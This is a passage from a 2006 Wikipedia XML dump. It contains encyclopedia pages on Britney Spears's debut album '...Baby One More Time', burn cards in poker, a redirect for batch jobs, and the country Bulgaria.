[[ru:Птицы]]
[[scn:Aceddi]]
[[simple:Bird]]
[[sk:Vták]]
[[sl:Ptič]]
[[sr:Птице]]
[[fi:Linnut]]
[[sv:Fåglar]]
[[ta:பறவை]]
[[th:นก]]
[[vi:Chim]]
[[tr:Kuşlar]]
[[uk:Птахи]]
[[zh:鸟]]
[[chy:Ve'kese]]</text>
    </revision>
  </page>
  <page>
    <title>...Baby One More Time</title>
    <id>3411</id>
    <revision>
      <id>41650127</id>
      <timestamp>2006-02-28T20:18:17Z</timestamp>
      <contributor>
        <username>Kenzo91</username>
        <id>1007424</id>
      </contributor>
      <comment>/* Track listing */</comment>
      <text xml:space="preserve">{{dablink|This article is about the album. For the song see &quot;[[...Baby One More Time (song)]].&quot;}}
{{Album infobox |
  Name        = …Baby One More Time |
  Type        = [[Album (music)|Album]] |
  Artist      = [[Britney Spears]] |
  Cover       = BritneySpears-BabyOneMoreTime.jpg |
  Background  = Orange |
  Released    = [[January 12]], [[1999]] &lt;small&gt;([[U.S.]])&lt;/small&gt;|
  Recorded    = [[1998]] |
  Genre       = [[Pop music|Pop]] |
  Length      = 42:20 |
  Label       = [[Jive Records|Jive]] |
  Producer    = [[Max Martin]] |
  Reviews     = &lt;ul&gt;&lt;li&gt;''[[All Music Guide|AMG]]'' (4/5) [http://www.allmusic.com/cg/amg.dll?p=amg&amp;sql=10:u0jm7i51g71r~T1 Link]&lt;/li&gt;&lt;li&gt;''[[Rolling Stone]]'' (2/5) [http://www.rollingstone.com/reviews/album?id=106495 link]&lt;/li&gt;&lt;li&gt;''[[New Musical Express|NME]]'' (1/10) [http://www.nme.com/reviews/853.htm link]&lt;/li&gt;&lt;/ul&gt;|
*''[[All Music Guide]]'' (4/5) [http://www.allmusic.com/cg/amg.dll?p=amg&amp;sql=10:mu508q9mbtm4~T1 link]
|
  Last album  =  -|
  This album  = '''''…Baby One More Time'''''&lt;br&gt;(1999) |
  Next album  = ''[[Oops!... I Did It Again]]''&lt;br&gt;(2000) |}}

'''''...Baby One More Time''''' is the [[debut album]] from [[United States of America|American]] [[pop music|pop]] [[singer]]  [[Britney Spears]]. It was released on [[January 12]], [[1999]], in the U.S. and was principally produced by [[Max Martin]] and [[Rami]] (and was largely composed by the former). The [[...Baby One More Time (song)|title track]], which is her most successful single to date, is generally considered Spears' [[signature song]]. Although she herself had very minimal artistic input with this record, it is her best-selling album both in the U.S. and internationally and propelled the then-seventeen-year-old to superstardom during the year of its release.

Although the critical response to the album was lukewarm, ''...Baby One More Time'' was a huge commercial success. It debuted at number one in both the U.S. and [[Canada]], and reached the top ten in many other countries. The record has been certified [[RIAA certification|14x Platinum]] in the U.S. (making it one of the top fifty best-selling albums of all-time domestically) and has sold over twenty-five million copies worldwide.

==Track listing==
# &quot;[[...Baby One More Time (song)|…Baby One More Time]]&quot; 
# &quot;[[(You Drive Me) Crazy]]&quot; 
# &quot;[[Sometimes]]&quot; 
# &quot;Soda Pop&quot; 
# &quot;[[Born to Make You Happy]]&quot; 
# &quot;[[From the Bottom of My Broken Heart]]&quot; 
# &quot;I Will Be There&quot; 
# &quot;I Will Still Love You&quot; (with Don Philip)
# &quot;Thinkin' About You&quot; 
# &quot;E-Mail My Heart&quot; 
# &quot;The Beat Goes On&quot;
# &quot;I'll never stop loving you&quot; *
# &quot;Autumn goodbye&quot; *
# &quot;[[...Baby One More Time (song)|…Baby One More Time]]&quot; (Davidson Ospina radio mix)*
# &quot;[[...Baby One More Time (song)|…Baby One More Time]]&quot; (Boy Wunder radio mix)*

* Tracks 13-14-15-16: New edition/Japanese standard edition bonus tracks

==Personnel==
* Daniel Boom - [[Audio engineer|Engineer]]
* Jimmy Bralower - Drum Programming
* Larry Busacca - [[Photography]]
* Andreas Carlsson - [[Vocals]] (bckgr)
* Tom Coyne - Mastering
* Nikki Gregoroff - [[Vocals]] (bckgr)
* [[Nana Hedin]] - [[Vocals]] (bckgr)
* Andy Hess - [[Bass guitar|Bass]]
* Tim Latham - [[Audio engineer|Engineer]], Mixing
* Tomas Lindberg - [[Bass guitar|Bass]]
* Per Magnusson - [[Keyboard instrument|Keyboards]], Programming, [[Record producer|Producer]]
* [[Max Martin]] - [[Keyboard instrument|Keyboards]], Programming, [[Vocals]] (bckgr), [[Record producer|Producer]], [[Audio engineer|Engineer]], Mixing
* Charles McCrorey - [[Audio engineer|Assistant Engineer]]
* Andrew McIntyre - [[Electric guitar]]
* Jackie Murphy - Art Direction, Design
* Dan Petty - [[Acoustic guitar]], [[Electric guitar]]
* Doug Petty - [[Keyboard instrument|Keyboards]]
* Don Philip - Performer
* Albert Sanchez - [[Photography]]
* Britney Spears - [[Vocals]], Vocals (bckgr)
* Aleese Simmons - [[Vocals]] (bckgr)
* Chris Trevett - [[Audio engineer|Engineer]], Mixing
* Eric Foster White - [[Bass guitar|Bass]], Arranger, [[Electric guitar]], [[Keyboard instrument|Keyboards]], [[Record producer|Producer]], [[Audio engineer|Engineer]], Drum Programming, Mixing

==Charts==
Britney still hold the record for 'The Highest International Female Singer Sales' in Indonesia. The album itself reached 3x Platinum in Indonesia, and the released-singles were topped Indonesia Chart, except 'From The Bottom Of My Broken Heart'. In 2000, She's nominated for 'Best Female', 'Best Song', 'Best Pop Song', 'Best New Artist', 'Most Popular Artist' in Indonesia Magazine Music Awards and won those all, but she failed to get 'Best Album' award. And Britney holds record for the most-winning artist in Indonesia Magazine Music Awards.{{fact}}&lt;!-- Please remove entire paragraph if still uncited on 2006-01-30--&gt;

By this album, Britney managed as the first international female singer that sold albums more than 3x Platinum in Indonesia, and the first female singer that topped the chart with 4 first singles from a debut album.{{fact}}&lt;!-- Please remove entire paragraph if still uncited on 2006-01-30--&gt;

{| class=&quot;wikitable&quot;
!align=&quot;left&quot;|Chart (1999)
!align=&quot;left&quot;|Peak&lt;br&gt;position
|-
|align=&quot;left&quot;|Australian [[ARIA]] Top 50
|align=&quot;center&quot;|2
|-
|align=&quot;left&quot;|Canadian Billboard Top 100
|align=&quot;center&quot;|1
|-
|align=&quot;left&quot;|U.K. Top 75
|align=&quot;center&quot;|2
|-
|align=&quot;left&quot;|U.S. Bilboard 200
|align=&quot;center&quot;|1 (6 weeks)
|-
|align=&quot;left&quot;|Austria Top Albums
|align=&quot;center&quot;|2{{ref|Austria}}
|-
|align=&quot;left&quot;|German Top 100 Albums
|align=&quot;center&quot;|1 (2 weeks){{ref|Germany}}
|-
|align=&quot;left&quot;|Ireland Album Top 75
|align=&quot;center&quot;|6 {{ref|Ireland}}
|-
|align=&quot;left&quot;|Netherlands Top 100 Albums
|align=&quot;center&quot;|13
|-
|align=&quot;left&quot;|Norway Top 40 Albums
|align=&quot;center&quot;|5
|-
|align=&quot;left&quot;|Sweden Top 60 Albums
|align=&quot;center&quot;|10
|-
|align=&quot;left&quot;|Switzerland Top 100 Albums
|align=&quot;center&quot;|1 (3 weeks)
|-
|}

==See also==
* &quot;[[...Baby One More Time (song)|…Baby One More Time]]&quot;
* &quot;[[Sometimes]]&quot;
* &quot;[[(You Drive Me) Crazy]]&quot;
* &quot;[[Born to Make You Happy]]&quot;
* &quot;[[From the Bottom of My Broken Heart]]&quot;

==External links and References==
* [http://www.letssingit.com/?/britney-spears-baby-one-more-time-bcb6ph.html Britney Spears: ''…Baby One More Time'' Lyrics]
* {{note|Austria}}[http://austriancharts.at/showitem.asp?interpret=Britney+Spears&amp;titel=%2E%2E%2E+Baby+One+More+Time&amp;cat=a Proof of #2 in Austria]
* {{note|Germany}}[http://germancharts.com/showitem.asp?key=5734&amp;cat=a Proof of #1 in Germany]
* {{note|Ireland}}[http://irish-charts.com/showitem.asp?interpret=Britney+Spears&amp;titel=Baby+One+More+Time&amp;cat=a Proof of #6 in Ireland]

[[Category:1999 albums|Baby One More Time]]
[[Category:Britney Spears albums|Baby One More Time]]
[[Category:Debut albums|Baby One More Time]]
[[Category:Enhanced CDs|Baby One More Time]]
[[Category:Jive Records albums|Baby One More Time]]

[[es:...Baby One More Time]]
[[hu:Baby One More Time]]
[[nl:...Baby One More Time (Britney Spears)]]</text>
    </revision>
  </page>
  <page>
    <title>Burn card</title>
    <id>3412</id>
    <revision>
      <id>36338906</id>
      <timestamp>2006-01-23T09:36:39Z</timestamp>
      <contributor>
        <ip>218.103.132.187</ip>
      </contributor>
      <text xml:space="preserve">In [[card game]]s, a '''burn card''' is a [[playing card]] dealt from the top of a deck, and discarded (&quot;burned&quot;), unused by the players.
This is often done in [[casino]]s to deter a form of cheating known as [[card marking]], as well as to provide extra cards for use when an irregularity of play occurs.
In [[poker]], the top card of the deck stub is burned at the beginning of each betting round, so that players who might have been able to read markings on that card during the previous round cannot take advantage of that information (far less, at least; knowledge of a burn card might occasionally be marginally useful, such as knowing there is one less Ace in the deck, but far less so than having it in play).

Burn cards are almost always placed in the discard pile face down, so no (or at least, fewer) players know what card was burned.

Sometimes a mis-dealt card (such as one of the down cards in poker that has flashed during the deal) will be used as the burn card--in those cases, the card should be immediately placed face up on the deck after the deal is complete.

[[Category:Poker terminology]]</text>
    </revision>
  </page>
  <page>
    <title>Batch job</title>
    <id>3413</id>
    <revision>
      <id>15901749</id>
      <timestamp>2004-09-02T17:39:07Z</timestamp>
      <contributor>
        <username>Gtrmp</username>
        <id>38984</id>
      </contributor>
      <comment>merge and redirect</comment>
      <text xml:space="preserve">#redirect [[batch processing]]</text>
    </revision>
  </page>
  <page>
    <title>Bulgaria</title>
    <id>3415</id>
    <revision>
      <id>42158778</id>
      <timestamp>2006-03-04T05:14:00Z</timestamp>
      <contributor>
        <username>Guanaco</username>
        <id>47960</id>
      </contributor>
      <minor />
      <comment>clean up and bypass unambiguous redirects using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{Infobox_Country|
|native_name = Република България &lt;br&gt; Republika Bulgariya
|common_name = Bulgaria
|image_flag = Flag of Bulgaria.svg
|image_coat = BGgerb2.gif
|image_map = LocationBulgaria.png
|national_motto = Съединението прави силата &lt;br&gt;(English: ''Unification is strength'')
|national_anthem = [[Mila Rodino]]
|official_languages = [[Bulgarian language|Bulgarian]]
|capital = [[Sofia]]
|latd=42 |latm=41 |latNS=N |longd=23 |longm=19 |longEW=E |
|largest_city = [[Sofia]]
|government_type = [[parliamentary democracy]]
|leader_titles = [[President of Bulgaria|President]]&lt;br&gt; [[Prime Minister of Bulgaria|Prime Minister]]
|leader_names = [[Georgi Parvanov]] ([[Bulgarian Socialist Party|BSP]])&lt;br&gt; [[Sergey Stanishev]] ([[Bulgarian Socialist Party|BSP]])
|area_rank = 102nd
|area_magnitude = 1 E11
|area = 111,001.9
|areami² = 42,858 &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
|percent_water = 0.3%
|population_estimate = 7,761,000
|population_estimate_year = 2005
|population_estimate_rank = 92
|population_census = 7,932,984 [http://www.nsi.bg/Census_e/Census_e.htm]
|population_census_year = 2001
|population_density = 67
|population_densitymi² = 174 &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
|population_density_rank = 100
|GDP_PPP_year= 2005
|GDP_PPP = $66,113 million
|GDP_PPP_rank = 65
|GDP_PPP_per_capita = $8,500
|GDP_PPP_per_capita_rank = 69
|HDI_year = 2003
|HDI = 0.808
|HDI_rank =55th
|HDI_category = &lt;font color=&quot;#009900&quot;&gt;high&lt;/font&gt;
|sovereignty_type = [[Independence]]
|established_events = &amp;nbsp;- Gained autonomy&lt;br&gt; &amp;nbsp;- Declared
|established_dates = From the [[Ottoman Empire]]&lt;br&gt; [[March 3]], [[1878]]&lt;br&gt; [[September 22]], [[1908]]
|currency = [[Lev]]
|currency_code = BGN
|country_code = bg
|time_zone = [[Eastern European Time|EET]]
|utc_offset = +2
|time_zone_DST = [[Eastern European Summer Time|EEST]]
|utc_offset_DST = +3
|cctld = [[.bg]]
|calling_code = 359
|footnotes = 
}}

The '''Republic of Bulgaria''' ([[Bulgarian language|Bulgarian]]: Република България), or '''Bulgaria''' ([[Bulgarian language|Bulgarian]]: България), is a country in the southeast of [[Europe]]. It borders the [[Black Sea]] to the east, [[Greece]] and [[Turkey]] to the south, [[Serbia and Montenegro]] and the [[Republic of Macedonia]] to the west, and [[Romania]] to the north along the river [[Danube]]. 

==History==
''Main article: [[History of Bulgaria]]''

{|style=&quot;margin-left:1em; border:1px; solid #8888aa; background-color:#f7f8ff; padding:2px; float:left; font-size:85%;&quot; 
| colspan=&quot;4&quot; rowspan=&quot;1&quot; style=&quot;text-align: center; background-color: rgb(204, 153, 51);&quot; | [[Image:BGgerb2.gif|60px]]-Bulgaria
|-
|style=&quot;text-align: center;&quot; | [[History of the First Bulgarian Empire|First Bulgarian Empire]]
|-
|style=&quot;text-align: center;&quot; | [[History of the Second Bulgarian Empire|Second Bulgarian Empire]]
|-
|style=&quot;text-align: center;&quot; | [[History of Ottoman Bulgaria|Ottoman Bulgaria]]
|-
|style=&quot;text-align: center;&quot; | [[History of Independent Bulgaria|Independent Bulgaria]]
|-
|style=&quot;text-align: center;&quot; | [[History of Communist Bulgaria|Communist Bulgaria]]
|-
|style=&quot;text-align: center;&quot; | [[   History of Democratic Bulgaria|Democratic Bulgaria]]
|}
In the late [[7th century]] a branch of the [[Bulgars]] led by [[Khan]] [[Asparuh]] migrated into the northern [[Balkans]], where they merged with the local [[Slavic peoples|Slavic]] population and possibly remnants of the [[Thracian]] population to form the first Bulgarian state in [[Anno Domini|AD]]&amp;nbsp;681. This was the first Slavic nation-state in history. The Bulgarian empire was a significant European power in the [[9th century|9th]] and the [[10th century]], while fighting with the [[Byzantine Empire]] for the control of the Balkans. The Bulgarian state was crushed by an assault by the ''[[Kievan Rus'|Rus']]'' in 969 and completely subdued by a determined Byzantine assault under [[Basil II]] in 1018. 

It was re-established in 1185 and continued to be an important power in the European south-east for two more centuries by fighting to assert its place in the region with the [[Byzantine Empire]], imposing defeats on the Crusader states in Greece, as well as [[Hungary]]. By the end of the [[14th century]] the country was conquered by the [[Ottoman Empire]]. A liberation attempt by the [[Poland|Polish]]-[[Hungary|Hungarian]] forces under the rule of [[Wladislaus III of Poland]] was crushed in 1444 in the [[battle of Varna]].

An autonomous Bulgarian principality in its ethnic borders was proclaimed by the [[Treaty of San Stefano]] of [[March 3]], [[1878]], following the [[Russo-Turkish War, 1877-78]]. The treaty was, however, not accepted by the [[Great Powers]] for fear that a large Slavic country on the [[Balkans]] would serve Russian interests. This led to the [[Treaty of Berlin, 1878|Treaty of Berlin (1878)]] which provided for an autonomous Bulgarian principality comprising [[Moesia]] and the region of [[Sofia]]. Most of [[Thrace]] was included in the autonomous region of [[Eastern Rumelia]], whereas the rest of Thrace along with the whole of [[Macedonia (region)|Macedonia]] was returned under the sovereignty of the [[Ottomans]]. After [[Unification of Bulgaria|uniting]] with [[Eastern Rumelia]] in 1885, the principality was proclaimed a fully independent kingdom in 1908. The struggle for liberation of the [[Bulgarians]] in the [[Adrianople]] Vilayet and Macedonia continued throughout the end of the 19th and the beginning of the 20th century culminating with the [[Ilinden-Preobrazhenie Uprising]] organised by the [[IMARO]] in [[1903]].

In [[1912]] and [[1913]] Bulgaria became involved in the [[Balkan Wars]], entering into conflict first against the Ottoman Empire and then against its former Balkan allies in desperate effort to achieve its national unity. After being defeated in the Second Balkan War, Bulgaria lost most of the territory conquered in the first war, as well as [[Southern Dobruja]]. During [[World War I]],  Bulgaria found itself fighting on the losing side after its alliance with the [[Central Powers]]. The defeat led to new territorial losses (the [[Western Outlands]] to [[Serbia]], [[Western Thrace]] to [[Greece]] and again the re-conquered [[Southern Dobruja]] to [[Romania]]. The Balkan Wars and World War I led to the influx of over 250,000 Bulgarian refugees from [[Macedonia]], [[Eastern Thrace|Eastern]] and [[Western Thrace]] and [[Southern Dobruja]]. After regaining control over [[Southern Dobruja]] in [[1940]], Bulgaria allied with the [[Axis Powers]] in [[World War II]]. Bulgaria, however, did not participate directly in the war. It also saved the lives of its own 50,000 [[Bulgarian Jews]] from the [[Nazi]] [[death camp]]s by refusing to comply with a [[31 August]] [[1943]] resolution, which demanded their deportation to [[Auschwitz]].

Bulgaria fell within the [[Soviet Union|Soviet]] sphere of influence after World War II and became a [[People's Republic]] in 1946 and Moscow's staunchest ally. From the late 1970s it began normalising its relations with Greece and from the 1990s with Turkey. Communist domination ended in 1989, when Bulgaria again held multiparty elections, but economic difficulties and a tide of corruption led to over 600,000 Bulgarians, most of them qualified professionals, to emigrate.

Bulgaria joined [[NATO]] on [[29 March]], [[2004]] and is set to join the [[European Union]] at the earliest on [[1 January]], [[2007]] after signing the [[Treaty of Accession 2005|Treaty of Accession]] on [[25 April]] [[2005]].

==Politics==
''Main article: [[Politics of Bulgaria]]''

===Executive===
[[Image:Parlament1.jpg|thumb|350px|The Parliament in downtown Sofia.]]
The [[president of Bulgaria]] ([[Georgi Purvanov]] since [[22 January]] [[2002]]) is directly elected for a 5-year term with the right to one re-election. The president serves as the [[head of state]] and commander in chief of the armed forces. The president is the head of the Consultative Council for National Security and while unable to initiate [[legislation]], the President can return a bill for further debate, though parliament can overturn the president's veto with a simple majority vote. 

The Council of Ministers is chaired by the Prime Minister ([[Sergey Stanishev]] since [[17 August]] [[2005]]), and is the principal body of the Executive Branch and presently consists of 20 ministers. The Prime Minister is nominated by the largest parliamentary group and is given a mandate by the President to form a cabinet.

The current governmental coalition is made of the Bulgarian Socialist Party (BSP), [[National Movement Simeon II]] ([[NMS]]), and the [[Movement for Rights and Freedoms]] (representing mainly the [[Turkish people|Turkish]] minority).

===Legislative===
The Bulgarian [[unicameral]] [[parliament]], the National Assembly or [[Narodno Sabranie]], consists of 240 deputies who are elected for 4-year-term stretches by popular vote. The votes are for party or coalition lists of candidates for each of the twenty-eight administrative divisions. A party or [[coalition]] must garner a minimum of 4% of the vote in order to enter parliament. Parliament is responsible for enactment of laws, approval of the budget, scheduling of presidential elections, selection and dismissal of the [[prime Minister of Bulgaria|prime minister]] and other ministers, declaration of war, deployment of troops outside of Bulgaria, and ratification of international treaties and agreements. 

The last elections took place on June 2005. The next elections are planned for summer 2009.

===Judiciary===
The Bulgarian judicial system consists of regional, district and appeal courts, as well as a Supreme Court of Cassation. In addition, there is a Supreme Administrative Court and a system of military courts. The Presidents of the Supreme Court of Cassation, Supreme Administrative Court and the Prosecutor General are elected by a qualified majority of two thirds from all the members of the Supreme Judicial Council and are appointed by the President of the Republic. The Supreme Judicial Council is in charge of the self-administration and organisation of the Judiciary. 

The Constitutional Court is in charge of reviewing the constitutionality of laws and statutes brought before it, as well as the compliance of these laws with international treaties that the Government has signed. Parliament elects the 12 members of the Constitutional Court by a two-thirds majority, the members serve a nine-year term.

===Regional and local government===
The territory of the Republic of Bulgaria is divided into regions and municipalities. In all Bulgaria has 28 regions, each headed by a regional governor appointed by the government. In addition, there are 263 municipalities.

==Regions==
''Main article: [[Regions of Bulgaria]]''

[[Image:Regions of Bulgaria Map.png|thumb|230px|Regions of Bulgaria]]

Since 1999 Bulgaria consists of 28 regions (''oblasti'', singular - ''[[oblast]]''), after having been subdivided into 9 provinces since 1987. All are named after the regional capital, with the national capital itself forming a separate region:

{| 
| 
* [[Blagoevgrad (region)|Blagoevgrad]]
* [[Burgas (region)|Burgas]]
* [[Dobrich (region)|Dobrich]]
* [[Gabrovo (region)|Gabrovo]]
* [[Haskovo (region)|Haskovo]]
* [[Kardzhali (region)|Kardzhali]]
* [[Kyustendil (region)|Kyustendil]]
|
* [[Lovech (region)|Lovech]]
* [[Montana (region)|Montana]]
* [[Pazardzhik (region)|Pazardzhik]]
* [[Pernik (region)|Pernik]]
* [[Pleven (region)|Pleven]]
* [[Plovdiv (region)|Plovdiv]]
* [[Razgrad (region)|Razgrad]]
|
* [[Ruse (region)|Ruse]]
* [[Shumen (region)|Shumen]]
* [[Silistra (region)|Silistra]]
* [[Sliven (region)|Sliven]]
* [[Smolyan (region)|Smolyan]]
* [[Sofia]]
* [[Sofia Region]]
|
* [[Stara Zagora (region)|Stara Zagora]]
* [[Targovishte (region)|Targovishte]]
* [[Varna (region)|Varna]]
* [[Veliko Tarnovo (region)|Veliko Tarnovo]]
* [[Vidin (region)|Vidin]]
* [[Vratsa (region)|Vratsa]]
* [[Yambol (region)|Yambol]]
|}

==Geography==
''Main article: [[Geography of Bulgaria]]''

[[Image:Bu-map.png|right|Map of Bulgaria]]

Bulgaria is comprised of portions of the classical regions of [[Thrace]], [[Moesia]], and [[Macedonia (region)|Macedonia]]. The southwest of the country is mountainous and includes the highest peak of the Balkan Peninsula, peak [[Musala]] at 2,925 metres (9,596&amp;nbsp;[[foot (unit of length)|ft]]); the range of the [[Balkan mountains]] runs west-east through the middle of the country, north of the famous [[Rose Valley]]. Hilly country and plains are found in the southeast, along the [[Bulgarian Black Sea Coast|Black Sea]] coast in the east, and along Bulgaria's main river, the [[Danube]] in the north. Other major rivers include the [[Struma River|Struma]] and the [[Maritsa|Maritsa river]] in the south.

The Bulgarian [[climate]] is [[temperate climate|temperate]], with cold, damp winters and hot, dry summers.

The [[Balkans|Balkan peninsula]] derives its name from the ''Balkan'' or ''[[Stara Planina]]'' mountain range which runs through the center of Bulgaria into eastern [[Serbia]].

''See also:''
* ''[[List of cities in Bulgaria]]''
* ''[[Rivers of Bulgaria]]''
* ''[[Reservoirs and dams in Bulgaria]]''

==Economy==
''Main article: [[Economy of Bulgaria]]''

Bulgaria's economy contracted dramatically after 1989 with the loss of the market of the [[Council for Mutual Economic Assistance]] (COMECON) member states, to which the Bulgarian economy had been closely tied. The [[standard of living]] fell by about 40%, but it regained pre-1990 levels in June 2004. In addition, [[United Nations|UN]] sanctions against [[Federal Republic of Yugoslavia|Yugoslavia]] and [[Iraq]] took a heavy toll on the Bulgarian economy. The first signs of recovery emerged in 1994 when the [[Gross Domestic Product|GDP]] grew and [[inflation]] fell. During 1996, however, the economy collapsed due to lack of international economic support and an unstable banking system. Since 1997 the country has been on the path to recovery, with GDP growing at a 4-5% rate, increasing FDI, macroeconomic stability and [[EU]] membership set for 2007.

The former government, elected in 2001, pledged to maintain the fundamental economic policy objectives adopted by its predecessor in 1997, i.e., retaining the Currency Board, practicing sound financial policies, accelerating [[privatisation]], and pursuing structural reforms. Economic forecasts for 2005 and 2006 predict continued growth in the Bulgarian economy. The annual year-on-year GDP growth for 2005 and 2006 is expected to total 5,3% and 6,0%, respectively. Industrial output for 2005 is forecast to rise by 11,9% year-on-year, and for 2006 - by 15,2% year-on-year. Unemployment for 2005 is projected at 11,5% and for 2006 - at under 10%.

On [[April 25]], [[2005]] Bulgaria signed the [[Treaty of Accession 2005|Treaty of Accession]] with the [[European Union]] and is set to join the bloc in 2007.

==Demographics==
''Main article: [[Demographics of Bulgaria]]''

[[Image:Bulgarien 0905.JPG|right|thumb|250px|The [[Rila Monastery]] is one of Bulgaria's most important cultural and historical monuments]]
According to the 2001 [[census]], Bulgaria's population is mainly [[Bulgarians|ethnic Bulgarian]] (83.9%), with two sizable minorities, [[Turkish people|Turks]] (9.4%) and [[Roma and Sinti|Roma]] (4.7%). Of the remaining 2.0%, 0.9% are distributed among some forty smaller minorities, the most numerous of which are the [[Armenians]], [[Russians]], [[Vlachs]], [[Crimean Tatars in Bulgaria|Crimean Tatars]], [[Karakachans]], [[Macedonians (ethnic group)|Macedonians]] and [[Jew]]s; the people who have not declared their ethnicity are 1.1% of the total population. 

In the period between [[1985]] and [[1989]], the communist government of Bulgaria attempted to forcefully assimilate the country's Turkish minority. After the introduction of the new laws in 1985, the Bulgarian government banned Turkish education and sought to erase Turkish culture and identity. Turkish names were forcefully changed to slavic ones and some 200,000 ethnic Turks emigrated permanently to Turkey in light of heavy persecution. These laws were removed after the change to democracy in the early months of [[1990]].

[[Bulgarian language|Bulgarian]], is the mother-tongue of 84.8% of the population; it is a member of the [[Slavic languages]]. Bulgarian is the only official language, but other languages are spoken, corresponding closely to ethnic breakdown.

Most Bulgarians (82.6%) are, at least nominally, members of the [[Bulgarian Orthodox Church]], the national [[Eastern Orthodoxy|Eastern Orthodox]] church. 
Other religious denominations include [[Islam]] (12.2%), various [[Protestant]] denominations (0.7%), [[Roman Catholicism]] (0.5%),  with other denominations, atheists and undeclared numbering ca. 4.1%.

==Culture==
''Main article: [[Culture of Bulgaria]]''

* [[List of famous Bulgarians]]
* [[Bulgarian customs]]
* [[Music of Bulgaria]]
* [[Bulgarian dances]]
* [[Bulgarian cuisine]]

==Religion==
[[Image:AlexanderNevskiCathedral.jpg|thumb|250px|The [[Alexander Nevsky Cathedral, Sofia|Alexander Nevsky Cathedral]] in Sofia is one of the biggest Orthodox cathedrals in Europe.]]
Most citizens of Bulgaria belong, at least nominally, to the [[Bulgarian Orthodox Church]]. It was was founded in 870 AD under the Patriarchate of Constantinople from which it obtained its first primate, its clergy and theological texts. It has been [[autocephaly|autocephalous]] since 927. The Bulgarian Patriarchate was established in Sofia after the creation of the Bulfarian Exarchate, in 1870. The Bulgarian Orthodox Church is the independent national church of Bulgaria like the other national branches of [[Eastern Orthodoxy]] and is considered an inseparable element of Bulgarian national consciousness. The church became subordinate within the [[Orthodox Church of Constantinople|Greek Orthodox Church]], twice during the periods of Byzantine (1018-1185) and Ottoman (1396-1878) domination but has been revived every time as a symbol of Bulgarian statehood without breaking away from the Orthodox dogma. In 2001, the Bulgarian Orthodox Church had 6,552,000 members in Bulgaria (82.6% of the population). However many people raised during the 45 years of [[communist]] rule are not religious even though they formally may be members of the church.

Despite the dominant position of the Bulgarian Orthodox Church in Bulgarian cultural life, a number of Bulgarian citizens belong to other religious denominations, most notably [[Islam in Bulgaria|Islam]], [[Roman Catholicism in Bulgaria|Roman Catholicism]] and [[Protestantism in Bulgaria|Protestantism]]. [[Islam in Bulgaria|Islam]] came to Bulgaria at the end of the [[14th century]] after the conquest of the country by the [[Ottomans]]. It gradually gained ground throughout the 15th and 16th centuries by the introduction of [[Turkic peoples|Turkish]] colonists and  the conversion of ethnic Bulgarians. At the time of Liberation (1878) no less than 40% of the population of the country was [[Muslim]], but emigration was a key factor in reducing this percentage. In 2001, there were 967,000 [[Muslims]] in Bulgaria (12.2% of the population).

In the 16th and the 17th century missionaries from Rome converted the Bulgarian [[Paulicians]] in the districts of [[Plovdiv]] and [[Svishtov]] to [[Roman Catholicism]]. Today, their descendants form the bulk of Bulgarian Catholics whose number stands at 44,000 in 2001. 
[[Protestantism]] was introduced in Bulgaria by missionaries from the United States in 1857. Missionary work continued throughout the second half of the 19th and the first half of the 20th century. In 2001, there were some 42,000 [[Protestants]] in Bulgaria.

* [[Bulgarian Orthodox Church]]
* [[Roman Catholicism in Bulgaria]]
* [[Protestantism in Bulgaria]]
* [[Islam in Bulgaria]]
* [[Judaism]]

==National parks==
Bulgaria has over 10 major national parks and many reservation areas.

* [http://www.centralbalkannationalpark.org/en/ Central Balkan National Park]
* Golden Sands National Park
* [http://www.pirin-np.com/English/pirin-np_E.htm Pirin National Park]
* [http://www.rhodope.net/ Rhodope National Park]
* [http://www.rilanationalpark.org/en/ Rila National Park]
* Roussenski Lom National Park
* Sinite Kamani National Park
* Shoumen Plateau National Park
* [http://www.staraplanina.org/index.php Stara Planina (Balkan Mountains)]
* [http://www.discoverstrandja.com/index.htm Strandja National Park]
* [http://www.picturesofbulgaria.com/article/vitosha_national_park.html Vitosha National Park]
* Vratchansky Balkan National Park

====Additional Resources====
* [http://www.bulgariannationalparks.org/en/ Bulgarian National Parks]
* [http://www.greenbalkans.org/index_en.html Green Balkans]

== Miscellaneous topics ==
{{portal}}
* [[Communications in Bulgaria]]
* [[Foreign relations of Bulgaria]]
* [[Military of Bulgaria]]
* [[Public holidays in Bulgaria]]
* [[Reporters without borders]] world-wide press freedom index 2004: ranked 36 out of 167 countries
* [[Tourism in Bulgaria]]
* [[Transport in Bulgaria]]
* [[Bulgarian law]]

''Much of the material in these articles comes from the [[CIA World Factbook]] 2000 and the 2003 U.S. Department of State website.''

==Further reading==
*''A Concise History of Bulgaria'' RJ Crampton
*''Beyond Hitler's Grasp: The Heroic Rescue of Bulgaria's Jews'' Michael Bar-Zohar
*''Blue Guide: Bulgaria'' James Pettifer 
*''Crown of Thorns : The Reign of King Boris III of Bulgaria, 1918-1943'' Stephane Groueff
*''The Fragility of Goodness: Why Bulgaria's Jews Survived the Holocaust'' Tzvetan Todorov
*''Lonely Planet World Guide: Bulgaria'' Paul Greenway
*''Music of Bulgaria'' Timothy Rice
*''The Rough Guide To Bulgaria'' Jonathan Bousfield
*''Voices from the Gulag: Life and Death in Communist Bulgaria'' Tzvetan Todorov
*''The Iron Fist-inside the Bulgarian secret archives'' Alexenia Dimitrova

==External links==
{{sisterlinks|Bulgaria}}
===Official===
* [http://www.government.bg/fce/index.shtml?s=001&amp;p=0023 Council of Ministers] - Official Governmental Site
* [http://www.bulgaria.bg/EN/default.htm Diplomatic missions of Republic of Bulgaria abroad] - Diplomatic missions of Republic of Bulgaria abroad
* [http://www.eypbulgaria.org/ European Youth Parliament - Bulgaria]
* [http://www.president.bg/en/index.php President.bg] - Official Presidential Site
* [http://www.parliament.bg/?lng=en Narodno Sabranie] - Official Parliamentary Site
* [http://www.minfin.government.bg/?language=english Ministry of Finance of Bulgaria]
* [http://www.mvr.bg/en/ Ministry of Interior of Bulgaria]
* [http://www.mtc.government.bg/indexe.htm Ministry of Transport and Communications of Bulgaria]
* [http://www.culture.government.bg/index.html?l=en Ministry of Culture and Tourism of Bulgaria]
* [http://www.mi.government.bg/eng/ Ministry of Economy of Bulgaria]
* [http://www.minedu.government.bg/ Ministry of Education]
* [http://www.doe.bg/cgi-bin/i.pl?l=2 Ministry of Energy and Energy Resources of Bulgaria]
* [http://www2.moew.government.bg/index_e.html Ministry of Environment and Water of Bulgaria]
